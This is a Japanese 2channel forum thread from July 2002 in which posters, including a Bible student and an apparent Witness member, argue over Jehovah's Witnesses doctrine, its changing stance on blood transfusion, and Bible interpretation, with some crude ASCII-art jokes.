796 :boy's ◆yRaJFlJ. :02/07/19 16:01
>>787
>油が注がれた14万4000人ってどうやって決められるんですか?

うん。
私もエホバの証人さんに聞きたいです。
もう「なんとなく。」としか言いようがないね。


わー、今日の始めての食事中。
マックのバリューセット。


797 :名無しさん@1周年:02/07/19 16:09
どんなに忙しくてもエホ証が気になってしょうがない
boy's(w

798 :名無しさん@1周年:02/07/19 16:10
えっ  なんとなく なの ?

799 :名無しさん@1周年:02/07/19 16:12
辞めて何年たってもエホ証が気になってしょうがない
Yるどきゃっと(w

800 :boy's ◆yRaJFlJ. :02/07/19 16:55
>>798
「なんとなく。」じゃないの。たぶんね。

「なんとなく。私は14万4000人に選ばれた。」と自覚して、
「なんとなく。あの人は、そうなんじゃない。」と思われて。

べつに色が変わるわけでもないからね。

否定も肯定も出来ない事を有り難がってるんじゃないかな。
1914年にキリストが天で統治を始めた。っても謎ですしね。





801 :名無しさん@1周年:02/07/19 16:58
「なんとなく」というか「自己判断」ってことですね。

802 :名無しさん@1周年:02/07/19 17:32
油が注がれた人間とエホバが認定したかどうか誰もわからない罠

803 :名無しさん@1周年:02/07/19 17:42
カトの法王の権威の由来は?

804 :名無しさん@1周年:02/07/19 21:31
カトの初代教皇はペテロで、イエスがあなたの上に教会を置くと言ったんだそうな。(諸説あるみたい)
めでたしめでたし。

805 :名無しさん@1周年:02/07/19 21:34
あっ、上の諸説ってのはペテロが初代教皇だってことについてっす。
めでたしめでたし。

806 :名無しさん@1周年:02/07/19 21:50
結局のところ、ものみの塔の教理が破状してるから
みちのりさん始め、信者の方々は突っ込みに対して
きちんと答えられないから、聖書の原則とか、愛ある神は。。。
などと言って答えるしかなくなるんだよね。
論理じゃ勝てないんだよ。
ご苦労なこった。可愛そうに。。。
海老名の連中、しっかりフォローしてあげろよ。
どうせ見てるんだろ?


807 :みちのり:02/07/19 22:10
こうしてやりとりを見ているとJW以外の方も様々な疑問を持っておられるのですね。

組織に関するわたしの見方は>>486にカキコしています。

神は今日、かつて神の民であったイスラエル人に対して行ったほどの直接的な関与はしていません。
律法のように生活すべてを規制するものは今はなく、基本的な原則を理解し、一人一人が自発的に生活に当てはめる事を、神は期待しておられます。そのようにして段階的な仕方でご自身の民を訓練してこられました。
今日、聖書を神の権威として受け入れる方は、現代の神の民は律法の元にはいない事が、古代のイスラエル人に律法が与えられた事を間違ってると考える理由であるとはないでしょう。
同様に今日神の民であると唱えるグループに教理上の変化があるからと言って、必ずしも彼らが偽り者であると結論づけるのは時期尚早と言えるのではないでしょうか?

808 :名無しさん@1周年:02/07/19 22:15
>>806
わたしは議論に打ち勝つ事を目的としていません。JW組織に対する批判的な意見と、それを擁護する意見を客観的に評価していただきたいと思っています。
JWの方でもし荒しや攻撃的なカキコミをされるかたがおられるのであれば、「外部の人に対して知恵をもって歩むように」との神の言葉について考慮されるようお願いいたします。

809 :806:02/07/19 22:40
>>808
済みません。ちょっと表現に問題がありました。
つまり、自分が言いたかったのは
「ものみの塔の言ってる事は矛盾だらけで
教理に関して議論しても意味がない。」
と言う事です。
あなたの口調からして現役の方と想像しますが
こんなことしてても、時間の無駄であると思われます。
あなたたちは、教理が正しいから信じてると言うよりむしろ
信じたいから信じているのですから。
擁護したい気持ちは解りますが、こんなところにわざわざ来て
「外部の人」と論じ合うことに何の意味があるのですか?
そんな時間があったら「内部の人」の信仰を強めることに
精力を注いだ方がよっぽど有益であると思われます。


810 :いま:02/07/19 22:41
組織が不完全で意見を変えるのであれば、聖霊による導きがあるというようなことは、言ってほしくないです。
真理を教える立場であった昔の預言者達は自分の言葉を撤回したり、別の言葉を言ったりはしなかったはずです。
でなければ、心霊術を行なう者と同様多くの者をまどわすことになるからです。わたしはそれが心配です。
皆さん、それぞれ聖霊は受けているように感じます。
しかし、それは組織が受けているのではなく、個人で受けているのです。信じて求めるものは与えられるであろうと言われた通りです。

811 :いま:02/07/19 22:49
しかし、私たちは全ての霊感の表現を信じるなと言われていることも事実です。全てを吟味せよと。
現に、イエスも、あなたがたはどうして自分で正しいことを判断しないのかと言われました。
会衆に一方的に出版物を与えるだけではなく、霊的な意味での独立を促すやり方(党派心ではなくて)を執るべきです。

812 :806:02/07/19 22:49
>>807
>律法のように生活すべてを規制するものは今はなく、基本的な原則を理解し、
>一人一人が自発的に生活に当てはめる事を、神は期待しておられます。
ということになると、ものみの塔協会のやっていることは
神の意志を全く反映していないと言うことになりますね?
数え上げたらきりがない程の規則・提案・罰則。。。。。
あなたが、神の意志を反映していない組織に対する隷従を望みたいのであれば
そうすればいい。
でも、「これだけ我慢したのだから神はきっと救ってくれるんだろう・・・」
そんな期待感をもって人生を歩んでいますね?


813 :806:02/07/19 23:04
>>811 いまさんへ
>皆さん、それぞれ聖霊は受けているように感じます。
そんなことあるわけないよ。
そう思いたくなる気持ちは解るけどさ。
聖霊は神の活動力でしょ?
いわゆる、神のご意志を伝える力のこと。
それがなんでバラバラなの?
統治体のメンバーも多数j決で決めてるしさ。
ちなみに忠実で思慮深い奴隷級は地上に8000人くらい残ってるのに
なんで、12人くらいの人の意見で決まっちゃうの?

814 :いま:02/07/19 23:16
806さんへ
神の御意志を伝えるという聖霊ではなく、別の働きの部分です。
確かに、預言というものについては見解が変わる以上聖霊は受けてないでしょう。
しかし、聖霊に色々な働きがあるのは一コリに書かれているとおりです。
皆さん(末端の人たち)安らかな顔をしていますよ。そういう意味で言ったんです。

815 :いま:02/07/19 23:23
言い忘れましたが、私は組織に対してはかなり懐疑的です。

816 :みちのり:02/07/19 23:59
いまさんへ
ひょっとしたらメールが届くようになったかもしれません。お手数ですがまた試してみてください。

817 :いま:02/07/20 00:13
返ってこないようですから届いたみたいですね。
宜しくお願いします。

818 :806:02/07/20 00:31
>>814 いまさんへ
>皆さん(末端の人たち)安らかな顔をしていますよ。そういう意味で言ったんです。
意味が良くわからないのですが。。。
安らかな顔をしている人=聖霊を受けている
ということですか?
そりゃ、永遠に生きられるなんて本気で思い込んでたら
多少のことで悩んだりしないでしょう。
安らかな気分にもなりますよ。
それより、何で末端の信者に聖霊を送って
霊的食物の経路である統治体にまともな聖霊を神は送らないのですか?
その方がよっぽどおかしいと思います。

>みちのりさんへ
質問に答えてくださいよ。宜しく!



819 :no name:02/07/20 00:32
たしかエホバの証人だったかなあ・・・・
家にきて「世界の終わりについて話しませんか?」と、きた人・・・
俺プロテスタントなんだけど・・・

820 :名無しさん@1周年:02/07/20 00:36
>>819
村上春樹です。
「世界の終わりとハードボイルドワンダーランド」
を売りにきたんです。
僕のときには
「ノルウェーの森に行ってみたいと思いませんか?」
ってきたからさ。

821 :いま:02/07/20 00:41
806さんへ
さぁ、何ででしょうね?
恐らく統治体の兄弟の思い込みの部分もあるんじゃないでしょうか?聖書の預言については理解が浅いように感じるのは私だけでしょうか。
まぁ、聖霊を受けているように感じるのも私の思い込みかもしれませんね。

822 :名無しさん@1周年:02/07/20 00:59
忠実で思慮深い奴隷級8000人←思いこみの激しい単なるアフォ

823 :wildcat:02/07/20 02:14
>>793,795
そんなこと言うから「JWはオカルト好き」と言われるんですよ。

>>799
そりゃ気になるよ(キッパリ)
明らかに辞めたほうが幸せになる私らのような人が、現役として多く残っている今の現状を
見ればね。これから日本の伝道者数がどこまで減っていくのか、それも気になるよ(藁

>>807
>同様に今日神の民であると唱えるグループに教理上の変化があるからと言って、必ずしも彼らが偽り者であると結論づけるのは時期尚早と言えるのではないでしょうか?

その通りです。そのグループが生み出している実によって見分けられるのです!
その結果、JW以外の大勢の人々はJWが神の民ではないという証拠を数多く見てきました。
・・・・・。
メールでも送ったけど、臓器移植がOK>NG>OKっていう変化をしたのはちょっとまずいんじゃないのかな?
それとソドムとゴモラの人が復活するかしないか二転三転したけど、結局どっちなの?<もう忘れた。
AかBか、っていう判断すらできないのは、完璧な神様から教えられてるとは思えないっす。




824 :806:02/07/20 02:37
>>821 いまさんへ
>恐らく統治体の兄弟の思い込みの部分もあるんじゃないでしょうか?
思い込みで人の人生を(生死さえも)弄んでおいて
(輸血拒否で死んだ大勢の人がいるという現実があります。)
後から教理を変更し、挙句の果てに
「おまえらが勝手に思い違いをした。」
などとのたまうことは、とても人間のやることとは思えませんが、どのように感じますか?

>聖書の預言については理解が浅いように感じるのは私だけでしょうか。
浅い・深いじゃなくて、神からの霊感が働かなければ
解明できない問題であると考えます。
明らかに予言をはずしていると言う現実を考えると
ものみの塔は、神が聖霊によって導いている組織ではないと思います。


825 :いま:02/07/20 03:05
806さんへ
〉神からの霊感が働かなければ、解明できない問題であると考えます。

確かに!!!
その通りだと思います。



なにぶん研究生なので過去の事実的なことはよく知りませんが、あとで解釈を変更しておいて、そのような勝手なことを言ったのであれば最低な組織だと思います。
個人的にはいまの段階で、預言の解釈が恣意的なものであるのが、一番イヤです。話を聞いていて自分が小さくなったように感じます。
出来れば過去のことをもっと知りたいです(携帯なのでインターネット接続は出来ませんが)。

826 :名無しさん@1周年:02/07/20 03:08
ものみの塔の崩壊していく様がすごく気になってしょうがありません。

827 :boy's ◆yRaJFlJ. :02/07/20 03:58
>>825
>なにぶん研究生なので過去の事実的なことはよく知りませんが

今の輸血禁止みたいに、昔は予防接種と臓器移植も禁止してたみたいよ。
今は予防接種と臓器移植はokみたいね。

過去のケースを考えると、輸血もokになるんじゃないかな。

えーと、ソースはなんだっけ。
どなたか知りませんか。

828 :名無しさん@1周年:02/07/20 04:30
神は怒っておられます。ものみの塔の崩壊はそのせいです。
あああ−−あ、神様を怒らせちゃったんだもん。

829 :旧2世:02/07/20 06:07
すげー遅い反応だが、さすが2ch、やはりエホバの証人スレがあったのか。
輸血解禁に向けた動きがあるって噂を聞きつけてやってきました。
予防接種は昔からOKだった記憶があるなぁ。

830 :名無しさん@1周年:02/07/20 06:40
輸血解禁?よい、悪い、よい、悪い、サイコロ転がして決めてるようだよ。


831 :名無しさん@1周年:02/07/20 07:19
    /''⌒l⌒ヽ
    8/ノノlヽヽ8
   | (| (┃┃| |    / ̄ ̄ ̄ ̄ ̄ ̄
   .l从ゝ__∩_从l  < おはようエホバ♪
    /     \    \______
   〈 | ゜  ゜| 〉
    ヽl   , lノ
   ('ヽ( ⌒Y )つ
    ヽ、____人__ノ


832 :名無しさん@1周年:02/07/20 07:52

         川川三三三ミ〜
        |川/  \|〜 
         ‖ ◎---◎ |〜  えほばはアメリカ政府が守ってくれる!
         ∂ /// ///ヽ〜 ハァハァ!
         ノ  ∴)д(∴)〜
        彳       /〜           ___
      ノ        〜 /〜 ピュッピュッ    .|  |   |\_
    /    ゝ   _/ ;|\〜      ρ  |  |   | |  |\
   /    /        ;| |   ρ       |  |   | |  |::::|
  (     (;;  ・     ・;) ρ          |  |   | |  |::::|
   \    \    亠 ρ);;   ̄ ̄\     |  |   | |  |::::|
   /: \   \   C)) ;) ̄ ̄\っ))))〜〜|  |   | |  |::::|
  /:::   \   ̄つ/ / ;)  | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
 /:::      \  (__/  _;)   ̄ ̄ ̄.| _________. |
 (::::       ;;\__/  ;)  シコシコ  | |           ..|.|
 \:::      (;;; );; )  \       .| |         . ..|.|
   \        \;;;   \     . | |           ..|.|



833 :みちのり:02/07/20 08:02
いろいろとご質問いただいているのですが、わたしは携帯からアクセスしてますので、そのすべてを把握しきれないのが現状です。
ご了承ください。

834 :名無しさん@1周年:02/07/20 08:17
>>833
べテルの個室ってADALやダイヤルアップでインターネットするの禁止なんですか?

835 :いま(825):02/07/20 09:47
訂正です。
預言→予言

836 :boy's ◆yRaJFlJ. :02/07/20 10:44
>>829
予防接種禁止のソースは「黄金時代 1921年10月」ですね。
まあ、「禁止」じゃなくて「指導」かなあ。
実質的には禁止みたいだけど。

http://watchtower.observer.org/
のVaccinations(予防接種)をクリックしてください。

837 :wildcat:02/07/20 13:05
お勧めHP
ttp://homepage2.nifty.com/ichikawakita/witness/blood.html

ちと長文ですが、JWが過去いろんな間違ったことをどうどうと発表してた事実が
書かれてるよ。第1章だけでも読んで下さいまし。
可哀想にパスツールなんてボロクソに非難されてるよ。

838 :boy's ◆yRaJFlJ. :02/07/20 13:22
うふ。
「ピンクの別荘の信仰の薬」ってなんだろ?
長生きする薬???..........思いっきり危ないじゃん。


839 :いま:02/07/20 14:35
wildcatさん
探して頂いてありがとうございました。
ですが、やはり見れませんでした。すみません。

840 :wildcat:02/07/20 15:09
>>839
いまさん、URLの頭に「h」をつけてますか?
それともPCの調子が悪いのでしょうか?
もう一度貼っておきますね。これで大丈夫かな?
http://homepage2.nifty.com/ichikawakita/witness/blood.html

841 :名無しさん@1周年:02/07/20 15:26
ヤヴァィ宗教発見。

842 :名無しさん@1周年:02/07/20 16:28
             , -───- 、
        ,..‐'´         `ヽ、
       /::              ヽ
      /:::::::::  ,,:‐'''"゙´     `゙''‐、 i
.      l ::::::::::.                  l
     |..::::::::::::... ,. -─- 、  , -─- 、|
    ,r'⌒ヽ====i r' @ } l⌒i (@ ヽ }^i       r'´ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     ! ::`ヽ :::::::::::ヽ,〜 '~_ノ __ヽ ~し、ソ、ノ     | なんちゅうスレを
     ヽ::::(:::::::::::::::;ィ  ̄,J    `ヽ ̄j )ヽ     ,ノ  立ててくれたんや…
     {. :::::::::::::::r'´ ,u'~    、__,丿・! (、 l    '⌒i
  _,.. ‐'`iー'!:::::j  ( 。  ノ ,ゝj~`U ヽ ~:J |     |  なんちゅうもんを…
‐''´:!::::::::l::|:::::l:::::) ん' ゚ / (,'´ __   ,)( 、l      ヽ、_________
:::::::::|:::::: l: l:::::ノ´j  、(  ´ (~ ,><〈  ソ~。‐.、
:::::: |   ! l ~ 。        、´ ,  ` ノ' |。   `‐
    |   l ヽ       __   ̄_,. イ/   !
    :l   ヽ.ヽ       ,.、 , ̄ -‐'//   |
    l    ヽ ヽ.   // / 〉   ://     |
     !    ヽ ヽ// ./ /   ://      !




843 :sage:02/07/20 16:30
エホさん、

まあ、グチャグチャ言ってないでさ、このスレで自慢してみなよ。
「この宗教に入ったらこんなに得するゾ自慢スレ」
無理だと思うが……


http://life.2ch.net/test/read.cgi/psy/1027091021/l50



844 :いま:02/07/20 18:46
wildcatさん
見させて頂きました。ありがとうございました。

845 :新しい光プ:02/07/20 23:44
まあ、輸血問題を解決する方法は一つしかない。
それは協会の解釈を変更することなんだな。
実際、内部でそうすべきだという意見もかなり多い。

それが出来ない理由は、協会の単なる意地。
輸血の是非は今や協会にとってどうでもいい。しかし
ここまでかたくなに輸血を禁止してきた協会が
今更OKなんてできない。

結局、タイミングを見計らってOKすると思われるが、
そのときはもっともな理由をつけて責任回避を図るだろうな。

846 :聖書コレクター:02/07/21 00:12
 私は物好きなのか、聖書コレクターだからか、反エホバの本で新世界訳聖書が取り上げられていたのがきっかけでエホバに関心を持ちました。
 古本屋周りをして、新世界訳聖書を始め、彼らのテキストを10冊以上購入していただけでは飽き足らなくなりました。
 それで日本支部に手紙を出して、本を贈ってくれ、と書いたり、「目覚めよ!」と「ものみの塔」を持って伝道しているおばさんに本をくれ、と頼み込みました。(今年二回来ました。)
 結果は、「永遠の命に導く知識」をもらっただけで、新世界訳はゲットできていません。

847 :名無しさん@1周年:02/07/21 00:29
めざめってどこ行ったの?
消えた?

848 :名無しさん@1周年:02/07/21 00:54
>>846
反エホオーラを感付かれてるのでは?

849 :*** 塔02 8/15 19-20 「絶えずわたしのあとに従いなさい」 ***:02/07/21 11:30
キリスト教世界の僧職者がどう言おうとも、神の言葉の教え手となるた
めに、古代の聖書言語を学ぶ必要があるわけではありません。エホバは
聖書に霊感を与えて、それが明快かつ具体的な語句で書かれるようにさ
れたので、ほとんどだれもがその貴重な真理を把握できます。その真理
は、幾百もの言語に翻訳されても、元の形を保っています。ですから、
古代の言語についての知識は、ときに役立つ場合もありますが、不可欠
なものではありません。さらに、言語面の能力についての誇りの気持ち
が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
まうことがあります。―テモテ第一6:4。

850 :名無しさん@1周年:02/07/21 11:44
>>849
縦読みできないだろうが馬鹿チン!

851 :いま:02/07/21 11:44
確かに、その通りです。言葉に秀でていることに高慢になってはなりません。
しかし、理解力については、幼子になってはならないと書かれていますよ。
聖書全巻は一つの原則によって貫かれており、論理的に考えることはその原則を見いだすことが出来ます。
それは真の理解であり、かえってそれが分からなければ盲目となりますよ。

852 :名無しさん@1周年:02/07/21 11:45
集会から帰ってきて早々2ちゃんかよ(藁

853 :名無しさん@1周年:02/07/21 11:46
あ〜?それとも奉仕から帰ってきて早々2ちゃんかよ(藁

854 :名無しさん@1周年:02/07/21 11:49
漏れが活発だった頃は、こんなところに研究記事を
文字入力するよりは、集会や奉仕などで仲間と熱く語り合って
充足していたよ(藁 よっぽど寂しいんだな>849は。ん?
それとももしかして霊的に弱ったチャン?どっちにしろ、
お前のしていることは嘲笑を買うだけだということがわからない
馬鹿チンだよお前は

855 :いま:02/07/21 11:49
どちらでもありませんがなにか?

856 :いま:02/07/21 11:48
どちらでもありませんがなにか?

857 :名無しさん@1周年:02/07/21 11:50
>>855=>849でしゅか?

858 :名無しさん@1周年:02/07/21 11:51
わかった!これから奉仕or集会だろ?!
さっさと飯食って吉本新喜劇でも見ろ!

859 :いま:02/07/21 11:52
ちがいます。ものみの塔は聖書に対する理解が浅いように感じています。

860 :名無しさん@1周年:02/07/21 11:52
漏れが叩いているのは>849だ!

861 :名無しさん@1周年:02/07/21 11:53
別に叩ければ誰でもいいんじゃネーノ

862 :名無しさん@1周年:02/07/21 11:54
いまさん、アルケミストって本[パウロ・コエーリョ著]ご存知?

863 :いま:02/07/21 11:54
まぁ、集会はこれからですが・・・。
研究生なので奉仕はやりません。

864 :名無しさん@1周年:02/07/21 11:55
結婚さんいらっしゃい!とアタック25!
これが通の日曜の過ごし方さ!

865 :いま:02/07/21 11:55
いやぁ、知りませんね。どんな内容ですか?

866 :名無しさん@1周年:02/07/21 11:55
いまさんはエホバの証人になりたいの?

867 :名無しさん@1周年:02/07/21 11:56
>>864
禿げしく同意

868 :名無しさん@1周年:02/07/21 11:57
>>864
>>865

869 :名無しさん@1周年:02/07/21 11:58
>>865
え。知らないの?
キリスト教に詳しい人なら、読んで損はない
お話です。でもエホバの証人的ではないかもね。

870 :いま:02/07/21 11:58
正直なりたくないです。友達に勧められて行って見たんですが、矛盾が多かったので、いずれ離れるつもりです。

871 :名無しさん@1周年:02/07/21 11:59
友達が悪いね。

872 :いま:02/07/21 12:00
読んでみます。ありがとうございます。

873 :名無しさん@1周年:02/07/21 12:00
じゃあ、いまさんも一緒に
吉本新喜劇→新婚さんいらっしゃい→アタック25
を見て、つまんない集会なんか休んじゃいましょう!

874 :名無しさん@1周年:02/07/21 12:01
アタック25はちょっと。。。

875 :名無しさん@1周年:02/07/21 12:02
>>874
なにぃ!ヽ(*`Д´)ノゴルァ

876 :名無しさん@1周年:02/07/21 12:03
エホバの証人にならなくても神を崇拝できますし、
神はそのような人たちも受け入れてくださると思います。

エホバの証人逝ってよし!

877 :名無しさん@1周年:02/07/21 12:03
塩盆・・・

878 :いま:02/07/21 12:04
いえ・・・。迎えにきてくれるそうなので行かないわけには。

879 :名無しさん@1周年:02/07/21 12:04
>>830
俺も週刊ポストで読んだ。

880 :いま:02/07/21 12:06
876さん、私もそう思います。

881 :名無しさん@1周年:02/07/21 12:06
>>878
そんなことしてるとズリズリと引き込まれてしまうよ!
早いうちに離れたほうが身のためだと思われ。
彼らは手のひらを返すように連絡をとってこなくなる
と思われ。信者を獲得するために必死なのさ〜。
研究生を連れているだけで鼻高々なのさ〜。

882 :名無しさん@1周年:02/07/21 12:07
え?マジで輸血解禁したの?

883 :名無しさん@1周年:02/07/21 12:07
友達ぢゃないよ、それ。

884 :名無しさん@1周年:02/07/21 12:08
>>872
ちなみに、私は?だったんだけど、
いまさんが男性なら、もしかしたら感動するかも?

885 :いま:02/07/21 12:10
そうですか、ありがとうございます。機会を見て、そうすることにします。

886 :名無しさん@1周年:02/07/21 12:11
なんのために、例の姉妹とその遺族が東京大医学部付属病院を
訴えたのか、わけがわからなくなるな。この組織はもうオワッテル。

887 :名無しさん@1周年:02/07/21 12:12
東大医学部はY先生を切ったときからおかしくなったしね。

888 :名無しさん@1周年:02/07/21 12:13
新しい光などではなく、そもそも輸血を全面的に禁止する必然性が
全くなかったことになるのだが、信者達にはそれすらわからないのだろうか?
恐るべし、カルト宗教。ここまで多くの信者を洗脳できた宗教が過去にあったで
あろうか?

889 :名無しさん@1周年:02/07/21 12:15
大木英夫の終末論もいいね。

890 :名無しさん@1周年:02/07/21 12:16
大勢の者が流した血に酔っているのは、エホバの組織のように思えてきた。

891 :名無しさん@1周年:02/07/21 12:29
輸血が解禁になった暁には、エホバの証人のコロコロ変更する
教義のために、輸血拒否問題で実際に精神的ダメージを受けた
医師たちの補償をしてもらわねば。時効は何年まで有効ですか?

892 :いま:02/07/21 12:35
不法行為の時効は3年までです。加害者又は被害を知ったときから20年でジョセキ期間となります。
その後は訴え提起できません。

893 :名無しさん@1周年:02/07/21 13:38
>>891
>輸血拒否問題で実際に精神的ダメージを受けた
医師たちの補償をしてもらわねば
そんなヤワな医師は医者に向いてないと思うよ



894 :名無しさん@1周年:02/07/21 13:41
いまさんへ
>不法行為の時効は3年までです。
治療方法の選択が違法行為になるのでしょうか?

895 :名無しさん@1周年:02/07/21 15:04
894です
訂正します 治療方法の選択が不法行為になるのでしょうか?


896 :boy's ◆yRaJFlJ. :02/07/21 18:32
>>849 *** 塔02 8/15 19-20 「絶えずわたしのあとに従いなさい」 ***
キリスト教世界の僧職者がどう言おうとも、神の言葉の教え手となるた
めに、古代の聖書言語を学ぶ必要があるわけではありません。エホバは
聖書に霊感を与えて、それが明快かつ具体的な語句で書かれるようにさ
れたので、ほとんどだれもがその貴重な真理を把握できます。その真理
は、幾百もの言語に翻訳されても、元の形を保っています。ですから、
古代の言語についての知識は、ときに役立つ場合もありますが、不可欠
なものではありません。さらに、言語面の能力についての誇りの気持ち
が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
まうことがあります。―テモテ第一6:4。

べつに牧師とかが「原語で聖書を学べ。」と言ってるの聞いたこと無いよ。
「聖書が明快かつ具体的な語句で書かれてる。」と主張してるわりには
エホバの証人さんは副読本が多いよね。言っている事と、やっている事が違いますね。

>言語面の能力についての誇りの気持ち
>が、真のクリスチャンに不可欠な特性である、教えやすさを失わせてし
>まうことがあります。

↑意味が分かんないよ。なんか書いとけば言いと思っているのかな。

最後に「テモテ第一6:4」と書いてあるけど、内容と一致してないよ。
全体を読みますと、たんにキリスト教の神父や牧師を非難しているだけに思えますね。

テモテ第一6章
3、違ったことを教え、私たち主イエス・キリストの健全なことばと
  敬虔にかなう教えとに同意しない人がいるなら、
4、その人は高慢になっており、なに一つ悟らず、疑いをかけたり、
  ことばの争いをする病気にかっているのです。
  そこから、ねたみ、争い、悪意の疑りが生じ、
5、また、知性が腐ってしまって真理を失った人々、すなわち敬虔を
  利得の手段と考えている人たちの間には、絶え間のない紛争が生じるのです。

897 :名無しさん@1周年:02/07/21 18:44
>>893 の意見に賛成です。

898 :いま:02/07/21 18:51
まぁ、なる可能性はあると思いますよ。
もし他者の自己決定権を侵害して、輸血治療を拒否「させた」のであれば。
本人が進んで拒否したのであれば別ですが。まぁ、他にもいろんな解釈は成り立ちますけど、これは本人の問題ですが。
問題は遺族の感情ですけど、現に侵害を受けたのは、教義変更のときですし。

899 :いま:02/07/21 19:15
訂正します(;^_^A。
医師でしたね。恐らく医師に対する補償は認められにくいでしょう。
その医師がノイローゼになり、それに因果関係が認められば別ですが。それすら認められにくいと思われ。

900 :名無しさん@1周年:02/07/21 21:33
エホ症は形式主義。

901 :名無しさん@1周年:02/07/21 21:44
だって、これが法律なんだもん♪

902 :ケンシロウ:02/07/21 21:53
エホ商はすでに死んでいる!!

903 :みちのり:02/07/21 23:20
最近カトリックを信奉している方の中に人は、一般のJWの信仰を揺るがすために、いくつかの聖句の原語の意味を強調するよう訓練されてるのですよ。特にイタリアでこうした活動が行われているようです。
言語力と誇りに関する話については、ヘブライ語・アラム語・ギリシャ語に関する言語能力を持つ人が、その原語に関連した単語や文法にこだわるあまり、聖句の直接的な意味を見失ったり、逆にそうした知識を持っているがために誇りを抱いてしまう事について言及しています。

904 :boy's ◆yRaJFlJ. :02/07/22 03:29
>>903 みちのりさんへ
>>849
>>キリスト教世界の僧職者がどう言おうとも、

イタリアなどのカトリックは知りませんので、その部分は分かりませんが、
この文章ですと、キリスト教の全ての神父や牧師に対しての
悪いイメージを植え付けようとした文章になりますね。
「一部のキリスト教世界の僧職者」とした方が良いのではないかと思いますけど。
「キリスト教世界の僧職者」と書かれている文章の中に、
「テモテ第一6:4」と聖句が書かれて、そこには、

4、その人は高慢になっており、なに一つ悟らず、疑いをかけたり、
  ことばの争いをする病気にかっているのです。
  そこから、ねたみ、争い、悪意の疑りが生じ、

と書いて有りますね。これでは、
「キリスト教世界の僧職者」は「高慢」と思われそうですね。
この様な、思慮の欠けた文章が書いてある印刷物を、
イタリアのカトリック事情だと判断できない、
一般人にまで配布するのは、いかがな物かと思いますけど。

JWさんは自分たちが「迫害」される事に神経質になりますが、
まず、JWさんの他の宗教への「中傷」を辞めた方が良いと思いますね。


905 :名無しさん@1周年:02/07/22 04:25
 あなた方は、聖書をそのままに読む機会は奪われていて、組織独特の聖書解釈を
鵜呑みにさせられ、キリスト教や聖書から巧妙に引き離され、組織の教えの奴隷に
なるよう仕向けられています。

 例えば、『人生の目的は何ですか』という冊子のP19でマタイ26の51-52を挙げ、
キリスト者は「イエス・キリストの教えとは反対のことをしてきました」と糾弾
する記載があります。しかし、「イエスの教え」を問題とするならばこの聖書から
の引用は、意図的一方的なものとこちらには映ります。福音全体の記述を考慮すれば、
イエスはルカ福音書22章36-38節で、弟子たちに剣の用意を確認しこれを持っていない
場合には服を売ってでも手に入れるよう促すところがあります。

 この団体は聖書にイエスを見出そうとはしていません。イエスの言葉を巧みに利用して
反キリスト教のマインドコントロール組織を形成しているだけなのです。恐らく。

906 :名無しさん@1周年:02/07/22 05:11
「衝撃!イエスキリストは好戦的な人物だった」

予備知識の無い人が>>905の文章を読むと上のような誤った結論に導かれるでしょう。(w

907 :Mustang2:02/07/22 06:54
何が何だかさっぱりわかりませんね。普通のひとには・・・。これがいわゆる神学論争
ってヤツですか?ここの掲示板に書いてる人達は、信者なんですか?それとも脱会した
かつて信者だった人なんですか?

908 :名無しさん@1周年:02/07/22 07:10
>>906
 イエスご自身は捕まる事を知っていて、弟子たちには自らを守るすべを
持ちなさいという意味で剣の携帯を促したのだよ、きっと。

909 :名無しさん@1周年:02/07/22 09:17
新スレです↓
エホバの証人ふざけるな!19
http://life.2ch.net/test/read.cgi/psy/1027296667/l50

910 :名無しさん@1周年:02/07/22 09:29
>>904
の意見に同意。

911 :いま:02/07/22 10:18
908さんへ。
イエスはペトロが剣を抜き、役人の耳を切り落とすのを知っていました。この事は、『彼は罪人の一人に数えられた』という預言の成就にかかっています。
おそらく当時無実のものを捕まえるというのもそれなりの根拠が必要だったのでしょう。
ですから、あえてそうしたのだと思いますよ。

912 :ぱけっと:02/07/22 10:56
>>892
間違いです.

913 :いま:02/07/22 11:07
あっ、確かに!
すいません(^^ゞ 
訂正します。
 
損害及び加害者を知ったときから三年
不法行為のときから二十年です。
申し訳ありません。

914 :名無しさん@1周年:02/07/22 12:27
いまさんへ
いろいろ調べてくださってありがとう

915 :名無しさん@1周年:02/07/22 18:40
>>911
 『彼は罪人の一人に数えられた』のは、ペトロに対する預言の成就ではなくて、
イエス・キリストに対する預言の成就ですよ。実際マルコスの耳を切り落とした
ベトロはその時点でキリストと共に捕らえられることはなく、イエスはマルコスの
耳をその場で治しています。
 ペトロが剣を抜いたためにイエスは罪人として捕らえられたのではありませんね。
それは、すでにイエスを罪人として捕らえようと武器を持って連中がやってきてる
ところでわかります。ペトロの応戦は単なる彼らと出くわしたその場でのエピソード
であり始めに挙げた預言の成就とは関係ないことでしょう。

916 :名無しさん@1周年:02/08/01 18:14
 

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